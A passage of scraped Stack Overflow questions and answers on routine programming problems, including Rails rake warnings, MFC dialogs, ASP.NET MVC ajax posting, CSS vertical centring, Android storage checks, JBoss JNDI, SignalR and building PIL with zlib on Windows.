"bp":{"label":"Blood Pressure", "display":1, "units":"mmHG", "is_number":true, "default":0},
"rr":{"label":"Resting Rate", "display":1, "units":"bpm", "is_number":true, "default":0},
"k":{"label":"Potassium", "display":1, "units":"grams", "is_number":true, "default":0}
},
"content":{
"investigations":{
"label":"Investigations",
"type":"panel1",
"options":{
"clinical_assessment":{
"label":"Clinical Assessment",
"type":"panel2",
"options":{
"general_appearance":{
"label":"General Appearance",
"type":"action"
},
"vital_signs":{
"label":"Vital Signs",
"type":"action"
}
}
},
"capillary_blood_glucose":{
"label":"Capillary Blood Glucose",
"type":"panel2",
"options":{
"now":{
"label":"now",
"type":"action"
},
"every_30_minutes":{
"label":"Every 30 minutes",
"type":"action"
},
"every_1_hour":{
"label":"Every 1 hour",
"type":"action"
}
}
},
"laboratory_investigations":{
"label":"Laboratory Investigations",
"type":"panel3",
"options":{
"biochemistry":{
"label":"Biochemistry",
"type":"panel2",
"options":{
"arterial_blood_gas":{
"label":"Arterial Blood Gas",
"type":"action"
},
"albumin":{
"label":"Albumin",
"type":"action"
}
}
},
"haematology":{
"label":"Haematology",
"type":"panel2",
"options":{
"blood_smear":{
"label":"Blood Smear",
"type":"action"
}
}
}
}
}
}
},
"management":{
"label":"Management",
"type":"panel1",
"options":{
"iv_fluids":{
"label":"IV Fluids",
"type":"",
"options":{
}
},
"potassium_chloride":{
"label":"Potassium Chloride",
"type":"",
"options":{
}
},
"insulin":{
"label":"Insulin",
"type":"",
"options":{
}
}
}
}
}
}
What I don't like with above is that I can't add //comments and when I miss a comma, <?php json_decode($jsoncontent); ?> fails. I tried storing this as a PHP associative array, but that lack of array shorthand notation really irritates me. I don't like XML markup because of all the open-tag close-tag non-sense.
Can someone suggest anything else?
A: I used yaml with spyc parser..
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616952",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: deprecation warning in Rails I'm a newbie to Rails and programming in general (currently learning from a book that's using 3.0.1 and ruby 1.9.2).
When I did the rake db:migrate command I got the following deprecation warning. I'm not sure if this is because I'm using a slightly older version of Rails, or if it would happen no matter what the version. Anyways, can anyone tell me what if anything I'm supposed to do now?
As I am a newbie a detailed answer would be very appreciated. Cheers
$ rake db:migrate
WARNING: Global access to Rake DSL methods is deprecated. Please include
... Rake::DSL into classes and modules which use the Rake DSL methods.
WARNING: DSL method SampleApp::Application#task called at /Users/michaeljohnmitchell/.rvm/gems/ruby-1.9.2-p290@rails3/gems/railties-3.0.1/lib/rails/application.rb:214:in `initialize_tasks'
Update with rakefile
# Add your own tasks in files placed in lib/tasks ending in .rake,
# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
require File.expand_path('../config/application', __FILE__)
require 'rake'
SampleApp::Application.load_tasks
A: Assuming you're using Rake 0.9.x, you have two options:
*
*Upgrade to at least rails 3.0.8 (which fixes integration with Rake 0.9.x, as stated here). This can be achieved by changing your gem file to gem rails, '3.0.8' (or higher) and running bundle install.
*You could probably downgrade to Rake 0.8.x to fix this warning, but I highly recommend the first option.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616953",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How can I open a menu from the root window using PyGTK? I want to open a menu without a window, bar, status icon, etc, only on the root window, like the menu of openbox or something like this http://img404.imageshack.us/img404/7189/2010120112912208781680xx.png, that is a menu made it with pygtk but he never made it public, i want make something like that but i dont have a idea how open a menu on the root window using pygtk. If some one can give me some feedback i'll be grateful.
My english is horrible, so, sorry :P
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616961",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: MFC: How to get default button of child dialog to work? I have a child dialog which I created as a new dialog in the resource editor. Then I used a static control on the parent dialog to act as a placeholder. The child control is displayed where the place holder is using the following code:
CRect rect;
m_optionPanelPlaceholder.GetWindowRect(&rect); // In screen coordinates
ScreenToClient(&rect);
m_optionPanelPlaceholder.ShowWindow(SW_HIDE);
optionsDialogPanel_ = new OptionsDialogPanel(settings_);
// Call Create() explicitly to ensure the HWND is created.
optionsDialogPanel_->Create(OptionsDialogPanel::IDD, this);
// Set the window position to be where the placeholder was.
optionsDialogPanel_->SetWindowPos
(
NULL,
rect.left,
rect.top,
rect.Width(),
rect.Height(),
SWP_SHOWWINDOW
);
This all works fine. There is a button on my child dialog which is set as the default button. Clicking the button with the mouse takes the desired action. However I want to just press the Enter key while in any of the edit text boxes on the child dialog and have the default button's action taken. However it's not working; how can I do this?
A: Make sure your button has its ID set to IDOK and not some IDC_*. MFC takes care of the rest!
A: When hitting the enter button in a dialog, the Parent::OnOK method is called. So you can probably call the Child::OnOK inside Parent::OnOK method.
Thanks.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616962",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Making the List object compatible with post data from frontend in ASP.NET MVC3 I have the following controller that I am posting to in a form via AJAX:
[HttpPost]
public ActionResult Create(List<int> listOfSTuff)
{
try
{
service.Create(listOfSTuff);
}
catch
{
return null;
}
return Json(new { gid = 7 }); // hardcoded for simplicity
}
I am having a hard time with my jQuery AJAX post making the List data type compatible with the post data. Here is my jQuery/JavaScript code:
var listOfStuff = [1, 2, 3];
$.ajax({
type: 'POST',
url: '/MyController/Create',
data: listOfStuff,
success: function(data) {
alert(data.gid);
},
error: alert(':('),
dataType: 'json'
});
I know that the AJAX post to the controller is working because I get a gid but I do not see the array elements 1 or 2 or 3 saved in the database. It does not appear that the controller likes my JavaScript array that is being passed over. Can anyone suggest how the data structure should look like from the frontend to make it compatible with the List that the controller action is expecting?
A: Make your listOfStuff declared as such:
var listOfStuff = {postedValues: [1, 2, 3]};
It works better to format your posted data as a proper JSON object before posting it to the controller. so now:
data: listOfStuff, will post a proper JSON string
and change the parameter name in your Controller to be:
[HttpPost]
public ActionResult Create(List<int> postedValues)
{
}
Hope it works for you.
A: It turns out that I was missing a critical parameter in the jQuery AJAX call that makes this work:
There is a traditional attribute that is false by default but it has to be set to true which uses the traditional style of param serialization.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616964",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Facebook App Domain disappears I've added a comment box to my site. I'm using an app_id. I've added my domain to "App Domain" in the settings section for the app. I save it. I then come back and the "App Domain" has disappeared. It's like it's not being saved.
What am I doing wrong?
A: I found how to do this - the UI and error messages are simply terrible.
First, you need to set your site url in the website section - to eg http://www.example.com . Click Save
Then you can go to the app domain field, type 'example.com' and press enter - it should highlight. You can do the same to add more domains.
This managed to get them to stick for me.
A: you must fill Site URL first, after that you can fill the App Domain
Sorry if my english is suck
A: My first guess is that Facebook is buggy today (cough).
Another thing to check is the Roles section to ensure your current FB user is in the Administrators list. You should be, of course, but I know folks who have different users for different purposes and they get mixed up as to which one they're logged in as. Just an idea.
Edit: Also, on the Advanced settings page you can control your App Type. Is it still set to Web? Since the domain is less relevant for Native/Desktop, I could see them ignoring your input if it's configured that way.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616965",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "18"
} |
Q: Center Text Vertically Within I have a <div> element with a fixed height, and I'd like to center some text vertically within that element.
I've been trying to follow the instructions at http://phrogz.net/css/vertical-align/index.html. However, it doesn't seem to work for me.
I've posted what I'm trying at http://jsfiddle.net/scwebgroup/74Rnq/. If I change the HeaderBrand's margin-top to about -22px, it seems about right.
Can anyone see why the technique described in the article is not working as expected for me?
Note: The best answer here only works if the text doesn't wrap to a second line.
A: I know this method adds some HTML, but it seems to work in all major browsers (even IE7+).
Basic HTML Structure
<div id="hold">
<div>Content</div>
<div class="aligner"> </div>
</div>
Require CSS
#hold{
height:400px;
}
div{
display: -moz-inline-stack;
display: inline-block;
zoom: 1;
*display: inline;
vertical-align:middle;
}
.aligner{
width:0px;
height:100%;
overflow:hidden;
}
The jsFiddle
A: This:
<!DOCTYPE html>
<style>
.outer { outline: 1px solid #eee; }
.outer > p { display: table-cell; height: 200px; vertical-align: middle; }
</style>
<div class="outer">
<p>This text will be vertically aligned</p>
</div>
<div class="outer">
<p>This longer text will be vertically aligned. Assumenda quinoa cupidatat messenger bag tofu. Commodo sustainable raw denim, lo-fi keytar brunch high life nisi labore 3 wolf moon readymade eiusmod viral. Exercitation velit ex, brooklyn farm-to-table in hoodie id aliquip. Keytar skateboard synth blog minim sed. Nisi do wes anderson seitan, banksy sartorial +1 cliche. Iphone scenester tumblr consequat keffiyeh you probably haven't heard of them, sartorial qui hoodie. Leggings labore cillum freegan put a bird on it tempor duis.</p>
</div>
works in modern browsers, regardless of whether text spans only one or multiple lines.
Also updated the fiddle at http://jsfiddle.net/74Rnq/135/ Not sure what you were doing with a 625px margin on the left when the thing itself was only 150px in width… Tidied things up a bit by removing the inline styling and using a bit of padding as well.
A: As shown below you can easily just set the parent of a text element to position: relative, and the text element itself to position: absolute; Then use direction properties to move around the text inside the parent. See examples below...
<!--Good and responsive ways to center text vertically inside block elements-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Centered Text®</title>
<style type="text/css">
@charset "UTF-8";
* {
margin: 0;
padding: 0;
}
body {
font-family: Helvetica;
}
#wrapper {
width: 100%;
height: auto;
}
#wrapper > div {
margin: 40px auto;
overflow: hidden;
position: relative;
height: 100px;
width: 50%;
}
p {
position: absolute;
word-wrap: break-word;
text-align: center;
color: white;
background-color: rgba(0,0,0,0.5);
}
#parent1 {
background-color: orange;
}
#parent1 p {
top: 10px;
bottom: 10px;
left: 10px;
right: 10px;
height: auto;
width: auto;
padding-top: 30px; /* Parent1's height * 0.5 = parent1 p's padding-top (Adjust to make look more centered) */
}
#parent2 {
background-color: skyblue;
}
#parent2 p {
left: 50%;
top: 50%;
padding: 10px;
transform: translate(-50%, -50%);
}
#parent3 {
background-color: hotpink;
}
#parent3 p {
top: 50%;
left: 0;
transform: translateY(-50%);
width: 100%;
}
</style>
</head>
<body>
<div id="wrapper">
<div id="parent1">
<p>Center Method 1</p>
</div>
<div id="parent2">
<p>Center Method 2</p>
</div>
<div id="parent3">
<p>Center Method 3</p>
</div>
</div>
</body>
</html>
I hope this helps!
A: You can try setting the line-height to the height of the div, like this:
<div style="height:200px;border:1px solid #000;">
<span style="line-height:200px;">Hello world!</span>
</div>
Here's another technique that seems to work:
#vertical{
position:absolute;
top:50%;
left:0;
width:100%;
}
<div style="position:relative;height:200px;">
<div id="vertical">
Hello world!
</div>
</div>
A: One method with your current setup is to set the margin-top to -25%
http://jsfiddle.net/ycAta/
the only reason why it looks offish is because the position is based off of the top of the text and there is a necessary gap because not all letters are the same height.
As A manual fix -30% looks better. :P
A: I was unable to determine the reason why the code in the article I referenced would not work for me. A couple of people offered answers but nothing that struck me as reliable across browsers.
Ultimately, I decided to keep my text on one line, which I do not like as much. But I do need my technique to be clear and well-understood, and for it to work reliably.
A: I was recently delighted to find that Flexbox can handle this problem for you. The flex-center class in the CSS below will center your div's text, both vertically and horizontally. The example comes out a little smashed, so I recommend resizing the window until the div border isn't flush to the text.
As far as whether you can get away with using flexbox regarding compatibility, see Can I use...
I don't fully understand why this works, and if someone has more insight into the flex box machinery, I'd enjoy the explanation.
.border-boxed {
box-sizing: border-box;
}
*, *:before, *:after {
box-sizing: inherit;
}
body {
/* This is just to make it look pretty */
box-sizing: border-box;
background: linear-gradient(135deg,
rgba(85,239,203,1) 0%,
rgba(30,87,153,1) 0%,
rgba(85,239,203,1) 0%,
rgba(91,202,255,1) 100%);
color: #f7f7f7;
font-family: 'Lato', sans-serif;
font-weight: 300;
font-size: .8rem;
/* Expand <body> to entire viewport height */
height: 100vh;
/* Arrange the boxes in a centered, vertical column */
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}
.flex-center {
display: flex;
justify-content: center;
align-items: center;
}
.box {
width: 25%;
height: 25%;
border: 2px solid #f7f7f7;
border-radius: 16px;
margin: .5rem;
text-transform: uppercase;
text-align: center;
}
.small {
height: 8%;
}
<div class="box large flexitem flex-center">
Large Box. <br>
So big. <br>
My god.
</div>
<div class="box small flexitem flex-center">
Smaller Box
</div>
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616969",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "51"
} |
Q: Simple random query from database I currently have an ads listing site on which there are 3 ordering filters. By default, the ads are sorted with the following line:
$this->setState('filter_order', $app->getUserStateFromRequest('com_adsman.filter_order','filter_order', "start_date"));
When I change the start_date to another column name, it sorts by that column by default, so I know that's where the change needs to be done. Now, how would I go about displaying random results, based on the above piece of code?
Thanks!
Edit: Here is where the actual query is called.
$Orderings[] = "`a`.$filter_order $filter_order_Dir";
$Orderings[] = "`a`.`id` $filter_order_Dir ";
$query = " SELECT ".implode(",",$SelectCols)." \r\n ".
" FROM `#__ads` AS `a` \r\n".
implode(" \r\n ",$JoinList)."\r\n".
$where."\r\n".
" GROUP BY `a`.`id` ".
" ORDER BY ".implode(",",$Orderings)." \r\n ";
I'm thinking of using something like
$rand = rand(.implode(",",$SelectCols));
and changing $filter_order to $rand..I know this is not going to work tho, wrong syntax and wrong everything, this is where I need help!
A: well, since the query is created somewhere else, and only filled with the parameters coming from this line ... you can't just change this line ...
find the actual query ... append a new column like "rand() as random" and change "start_date" to "random" in this line ...
//edit:
$query = " SELECT ".implode(",",$SelectCols).",rand() as random \r\n ".
" FROM `#__ads` AS `a` \r\n".
implode(" \r\n ",$JoinList)."\r\n".
$where."\r\n".
" GROUP BY `a`.`id` ".
" ORDER BY ".implode(",",$Orderings)." \r\n ";
should give you a random column named "random" (of course, if there is already a column with that name, that would be trouble ... so maybe choose a unique name instead of "random")
A: Use "RAND()" as the ORDER BY column.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616972",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: how to check internal and external storage if exist How do i know if there are internal and external storage in android pragmatically? does anyone how to know how to check both internal and external storage
thanks in advance
A: it's already explained in android documentation.
Code taken from documentation
boolean mExternalStorageAvailable = false;
boolean mExternalStorageWriteable = false;
String state = Environment.getExternalStorageState();
if (Environment.MEDIA_MOUNTED.equals(state)) {
// We can read and write the media
mExternalStorageAvailable = mExternalStorageWriteable = true;
} else if (Environment.MEDIA_MOUNTED_READ_ONLY.equals(state)) {
// We can only read the media
mExternalStorageAvailable = true;
mExternalStorageWriteable = false;
} else {
// Something else is wrong. It may be one of many other states, but all we need
// to know is we can neither read nor write
mExternalStorageAvailable = mExternalStorageWriteable = false;
}
A: Code from the documentation that's been simplified a bit since previous answers:
/* Checks if external storage is available for read and write */
public boolean isExternalStorageWritable() {
String state = Environment.getExternalStorageState();
if (Environment.MEDIA_MOUNTED.equals(state)) {
return true;
}
return false;
}
/* Checks if external storage is available to at least read */
public boolean isExternalStorageReadable() {
String state = Environment.getExternalStorageState();
if (Environment.MEDIA_MOUNTED.equals(state) ||
Environment.MEDIA_MOUNTED_READ_ONLY.equals(state)) {
return true;
}
return false;
}
A: I wrote a little class for that checking the storage state. Maybe it's of some use for you.
UPDATE: Cleaned up code, removed comments and made class static.
import android.os.Environment;
public class StorageHelper {
private static boolean externalStorageReadable, externalStorageWritable;
public static boolean isExternalStorageReadable() {
checkStorage();
return externalStorageReadable;
}
public static boolean isExternalStorageWritable() {
checkStorage();
return externalStorageWritable;
}
public static boolean isExternalStorageReadableAndWritable() {
checkStorage();
return externalStorageReadable && externalStorageWritable;
}
private static void checkStorage() {
String state = Environment.getExternalStorageState();
if (state.equals(Environment.MEDIA_MOUNTED)) {
externalStorageReadable = externalStorageWritable = true;
} else if (state.equals(Environment.MEDIA_MOUNTED) || state.equals(Environment.MEDIA_MOUNTED_READ_ONLY)) {
externalStorageReadable = true;
externalStorageWritable = false;
} else {
externalStorageReadable = externalStorageWritable = false;
}
}
}
A: I got it working if someone is searching for this.... it will help :D
try {
File dir = new File("/mnt/");
File[] dirs = dir.listFiles();
for (File _tempDIR : dirs) {
String sdCard = _tempDIR.getAbsolutePath().toString();
File file = new File(sdCard + "/"
+ Environment.DIRECTORY_DOWNLOADS);
File[] files = file.listFiles();
if (files != null) {
for (int i = 0; i < files.length; i++) {
String _temp = files[i].getAbsoluteFile().getName()
.toString();/*Your code, and what you want to find, from all the Sdcard, internal and external. Everything mounted will be found :D*/
A: File f = new File("/mnt/sdcard/ext_sd");
if (f.exists()) {
// Do Whatever you want sdcard exists
}
else{
Toast.makeText(MainActivity.this, "Sdcard not Exists", Toast.LENGTH_SHORT).show();
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616974",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "41"
} |
Q: How to run code when you receive an email I'm making a mobile product for a social network and one of the features we would like to add is text-to-status. We are doing something different though, similar to YouTube's mobile upload. YouTube uses emails such as:
[email protected]
I would like to something similar with PHP, except do something like this:
Have the user text:
[email protected]
Then when the server receives this it will detect the phone number(for instance: [email protected]) saved on the account, sort of like how Facebook/Twitter work with their shortcodes.
I have been researching this for about 3-4 months and nothing has really come up with much of anything. If anyone can help it would be wonderful. Just a side-note, I am not very fluent in any server-side coding other than php and server-side Javascript.
A: Well there are two choices:
*
*You can configure your mail server to put the mails in a mailbox and then have a PHP script run by cron or such polling it from time to time and fetching new mail
*Or you can configure your mail server to execute a program once a mail is being received. Often this is done by specifying an alias to something like |/usr/bin/php /path/to/script.php which will then receive the mail from stdin.
A: I had this question too and I wanted to get emails in real time so I worked out my own solution with google app engine. I basically made a small dedicated google app engine app to receive and POST emails to my main site. That way I could avoid having to set up an email server.
You can check out Emailization (a little weekend project I did to do it for you), or you this small GAE app that should do the trick.
I kinda explained it more on another question.
Hope that helps!
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616976",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Need html checkbox label to wrap "nicely" I have a grid of checkboxes where each cell has a fixed width, and each checkbox is preceded with a small image. In cases where the label text is too long, I'm having a hard time getting the text to wrap underneath the checkbox.
Referring to the above screenshot, I'd like "text that wraps" to be aligned with the checkbox, rather than wrapping underneath the image, like so:
I've set up a fiddle with my current markup and styles. What I can't change is the HTML structure, but any CSS changes are fine.
Here is a code snippet:
.checkbox-list {
}
img.placeholder{
width:16px;
height:16px;
background-color:lightblue;
}
td {
padding:2px;
width:150px;
vertical-align:top;
}
label {
/*display:inline-block;*/
}
<table class="checkbox-list">
<tbody><tr>
<td>
<img class="placeholder"/>
<label>
<input type="checkbox"/>
<span>Some really long text that wraps</span></label></td>
<td>
<img class="placeholder"/>
<label>
<input type="checkbox"/>
<span>Foo</span></label></td>
<td>
<img class="placeholder"/>
<label>
<input type="checkbox"/>
<span>Foo</span></label></td>
</tr><tr>
<td>
<img class="placeholder"/>
<label>
<input type="checkbox"/>
<span>Foo</span></label></td>
<td>
<img class="placeholder"/>
<label>
<input type="checkbox"/>
<span>Foo</span></label></td>
<td>
<img class="placeholder"/>
<label>
<input type="checkbox"/>
<span>Foo</span></label></td>
</tr>
</tbody></table>
A: You could just apply a margin-bottom to the image and float: left:
img.placeholder{
width:16px;
height:16px;
background-color:lightblue;
margin-bottom: 1em;
float: left;
}
JS Fiddle demo.
Edited because I am, apparently, an idiot, and didn't realise the simplest approach was to assign the display: block; and margin-left: 18px; to the label element, and float the .placeholder elements:
img.placeholder{
width:16px;
height:16px;
background-color:lightblue;
float: left;
}
label {
display: block;
margin-left: 18px;
}
JS Fiddle demo.
Floating the image prevents the label from starting on a new-line, the margin-left on the label is the width of the image and a small 2px 'gutter' to visually separate the image and the checkbox (adjust to taste, obviously).
A: Here's my suggestion:
make img, input, and span into block elements and float: left;
http://jsfiddle.net/9s8Db/4/
A: specifying label with display:inline-block and giving it a width seems to do the trick. though ideally i wouldn't have to specify the label width.
http://jsfiddle.net/9s8Db/7/
A: If you constrain the width of the label and float img.placeholder and label, it should work as you requested:
http://jsfiddle.net/9s8Db/8/
img.placeholder{
width:16px;
height:16px;
background-color:lightblue;
float: left;
}
td {
padding:2px;
width:150px;
vertical-align:top;
}
label {
/*display:inline-block;*/
float: left;
width: 100px;
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616977",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: data loss when using ajax loader image I have problem with ajax loader image when I use the load() function, the following javascript code works fine:
$('#myscroll').load('data.php','total='+totalItems+'&id='+ID+'&worker=$worker&sets=$sets', function(newi){
updatestatus();
});
In the data.php, it receives the $_GET variables total, id, worker and sets.
However if I do:
var ajax_load = \"<img src='myajax-loader.gif' alt='loading...' />\";
$('#myscroll').html(ajax_load).load('data.php','total='+totalItems+'&id='+ID+'&worker=$worker&sets=$sets', function(newi) {
updatestatus();
});
In the data.php, it doesn't receive the the $_GET variables total, id, worker and sets. How can I still make it work when I use the ajax loader, thanks a lot.
A: To make ajax_load a legal javascript string, change this:
var ajax_load = \"<img src='myajax-loader.gif' alt='loading...' />\";
to this:
var ajax_load = "<img src='myajax-loader.gif' alt='loading...' />";
A javascript error like this will keep the rest of the code that follows it from executing.
I'd also strongly suggest you learn how to look for javascript errors in the error console or the debug console since that will save you countless hours when there's some sort of javascript error that keeps your code from executing properly.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616978",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: jboss jndi context is empty An ejb-jar deployed to jboss 7 has a jdni binding "java:global/foo!IFoo".
Jboss management console shows this binding.
The jndi port is 1099 as by default.
A client on jboss gets an object to that binding but a standalone client running on the same machine does not.
Properties properties = new Properties();
properties.put("java.naming.factory.initial",
"org.jboss.as.naming.InitialContextFactory");
properties.put("java.naming.factory.url.pkgs","org.jboss.naming:org.jnp.interfaces");
properties.put("java.naming.provider.url","jnp://localhost:1099");
Context ctx = new InitialContext(properties);
NamingEnumeration<NameClassPair> list = ctx.list("");
while (list.hasMore()) {
System.out.println(list.next().getName());
}
produces no results. Also the lookup to the name above fails.
Where is the problem ?
A: It seems remote JNDI lookup support was implemented only on JBoss AS 7.1.0.Final (AS7-1338).
The JNDI properties to perform remote lookups has also changed. Could you try to instantiate the InitialContext with these JNDI properties?
properties.put(Context.INITIAL_CONTEXT_FACTORY, "org.jboss.naming.remote.client.InitialContextFactory");
properties.put(Context.PROVIDER_URL, "remote://localhost:4447");
properties.put(Context.SECURITY_PRINCIPAL, "user");
properties.put(Context.SECURITY_CREDENTIALS, "password");
The remote access to the JNDI tree is secured, so you need to provide a user and a password (add an Application User via add-user.sh/add-user.bat script).
I did this on my own local server, but the NamingEnumeration returned by InitialContext.list() is still empty, even though the lookup below works fine. I posted an answer on JBoss forum, but no luck so far.
// This lookup works fine
System.out.println(ctx.lookup("jms/RemoteConnectionFactory").getClass().getName());
// ... but this list doesn't (empty enumeration)
NamingEnumeration<NameClassPair> list = ctx.list("");
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616981",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: HTML 5 geolocation using phoneGap I have created a script that will show the user's location using the geolocation library and it all works fine. I have exported this HTML 5 script using PhoneGap and can see that in Settings->Location Services My App is set to On. So I assumed every time I run My App I would not get the regular prompt ".... Would like to use your current location?" with the options Don't Allow or Ok.
I don't want to have people click Allow each time they open My App. Is there a reason why the app is not using the setting from Services->Location Settings? Below is the simple script:
<!DOCTYPE html>
<html>
<head>
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-status-bar-style" content="black" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<link rel="apple-touch-icon-precomposed" href="custom_icon_precomposed.png"/>
<link rel="apple-touch-startup-image" href="apple-touch-icon-precomposed.png">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js" type="text/javascript"></script>
<script>
jQuery(window).ready(function(){
jQuery("#btnInit").click(initiate_watchlocation);
jQuery("#btnStop").click(stop_watchlocation);
});
var watchProcess = null;
function initiate_watchlocation() {
if (watchProcess == null) {
watchProcess = navigator.geolocation.watchPosition(handle_geolocation_query, handle_errors, {enableHighAccuracy:true});
}
}
function stop_watchlocation() {
if (watchProcess != null)
{
navigator.geolocation.clearWatch(watchProcess);
watchProcess = null;
}
}
function handle_errors(error)
{
switch(error.code)
{
case error.PERMISSION_DENIED: alert("user did not share geolocation data");
break;
case error.POSITION_UNAVAILABLE: alert("could not detect current position");
break;
case error.TIMEOUT: alert("retrieving position timedout");
break;
default: alert("unknown error");
break;
}
}
function handle_geolocation_query(position) {
var text = "Latitude: " + position.coords.latitude + "<br/>" +
"Longitude: " + position.coords.longitude + "<br/>" +
"Accuracy: " + position.coords.accuracy + "m<br/>" +
"Time: " + new Date(position.timestamp);
jQuery("#info").html(text);
var image_url = "http://maps.google.com/maps/api/staticmap?sensor=false¢er=" + position.coords.latitude + ',' + position.coords.longitude +
"&zoom=14&size=300x400&markers=color:blue|label:S|" + position.coords.latitude + ',' + position.coords.longitude;
jQuery("#map").remove();
jQuery(document.body).append(
jQuery(document.createElement("img")).attr("src", image_url).attr('id','map')
);
}
</script>
</head>
<body>
<div>
<button id="btnInit" >Monitor my location</button>
<button id="btnStop" >Stop monitoring</button>
</div>
<div id="info"></div>
</body>
</html>
A: OK I looked all over and found it you must wait for the device to be ready then call your window.ready jquery inside that to utilize native functions. Thought I would post this as a noob it was tuff to find the answer I was looking for.
// Wait for PhoneGap to load
//
document.addEventListener("deviceready", onDeviceReady, false);
// PhoneGap is ready
//
function onDeviceReady() {
jQuery(window).ready(function(){
jQuery("#btnInit").click(initiate_watchlocation);
jQuery("#btnStop").click(stop_watchlocation);
});
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616982",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "6"
} |
Q: Send server message to connected clients with Signalr/PersistentConnection I´m using SignalR/PersistentConnection, not the Hub.
I want to send a message from the server to client. I have the client id to send it, but how can I send a message from server to the client?
Like, when some event happens on server, we want send a notification to a particular user.
Any ideas?
A: The github page shows how to do this using PersistentConnections.
public class MyConnection : PersistentConnection {
protected override Task OnReceivedAsync(string clientId, string data) {
// Broadcast data to all clients
return Connection.Broadcast(data);
}
}
Global.asax
using System;
using System.Web.Routing;
using SignalR.Routing;
public class Global : System.Web.HttpApplication {
protected void Application_Start(object sender, EventArgs e) {
// Register the route for chat
RouteTable.Routes.MapConnection<MyConnection>("echo", "echo/{*operation}");
}
}
Then on the client:
$(function () {
var connection = $.connection('echo');
connection.received(function (data) {
$('#messages').append('<li>' + data + '</li>');
});
connection.start();
$("#broadcast").click(function () {
connection.send($('#msg').val());
});
});
A: May be the AddToGroup function in the helps
in Server side
Put the clients in to different channels
public bool Join(string channel)
{
AddToGroup(channel.ToString()).Wait();
return true;
}
Then they Can send out message in different channel
public void Send(string channel, string message)
{
String id = this.Context.ClientId;
Clients[channel.ToString()].addMessage(message);
}
A: using SignalR;
using SignalR.Hosting.AspNet;
using SignalR.Infrastructure;
public class MyConnection : PersistentConnection
{
}
public class Notifier
{
public void Notify(string clientId, object data) {
MyConnection connection = (MyConnection) AspNetHost.DependencyResolver
.Resolve<IConnectionManager()
.GetConnection<MyConnection>();
connection.Send(clientId, data);
}
}
https://github.com/SignalR/SignalR/wiki/PersistentConnection
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616983",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: pil png activestate on windows 7 ZLIB (PNG/ZIP) support not available I'm trying to port a python program from OS X to Windows 7.
This program processes a png with tkinter
eg
self.logoImg = ImageTk.PhotoImage(Image.open('GrowthPathLogo.png'))
The code is failing with
IOError: decoder zip not available
I've tried installing pip with pypm.
Then I try building it with pip.
At the end of the build process it reports that there is no support for png/zlib
I get the same errors with the python.org installation on Windows.
I'm stuck and I'm not skilled at building C libraries. Neither do I know how pip works. I have a gnu zlib library installed but it's not helping at all. I have Visual C++ 2008 Express installed, and at least that's working because pip does compile things successfully.
A: Try the build here that's maintained by Christoph Gohlke. To build PIL yourself you need several libraries as mentioned in the README: libjpeg, zlib, freetype2, and littleCMS. Read USAGE.txt in zlib125-dll.zip for instructions on linking to zlib with Visual C++ or MinGW.
A: I know this is an old question, but I wanted to give my answer in case people run into the same problem as me.
The builds by Christoph Gohlke are awesome, when they work.
However for my win7 machine with python 2.7 and most importantly 64bit, there is no precompiled binary with PNG support (zlib support). The Pillow 64bit Binary on that page fails on easy_install and can't be installed on my machine.
So if you want to solve this and the binary doesn't work you need to build Pillow your self with zlib support. To do this you need to download the latest Pillow source.
Modify in setup.py the ZLIB_ROOT line to say:
ZLIB_ROOT = './zlib'
Now you have to build zlib for win64 bit as well, that's the tricky part.
Download latest zlib source from their site (I tested on 1.2.5/1.2.8).
Open visual studio command prompt for 64 bit (VERY IMPORTANT)
My command prompt was called VS2012 x64 Cross Tools Command Prompt.
Go to the zlib source dir and run:
nmake -f win32/Makefile.msc
If it doesnt work try:
nmake -f win32/Makefile.msc AS=ml64 LOC="-DASMV -DASMINF" OBJA="inffasx64.obj gvmat64.obj inffas8664.obj"
Now you should have in the source directory the following files:
zlib.h
zconf.h
zutil.h (not sure this is needed)
zlib.lib
zdll.lib
Copy them into the Pillow source directory, into a directory called "zlib"
Compile Pillow using "python setup.py build_ext -i"
Install Pillow using "python setup.py install"
Pillow should now work with ZLIB (png) support.
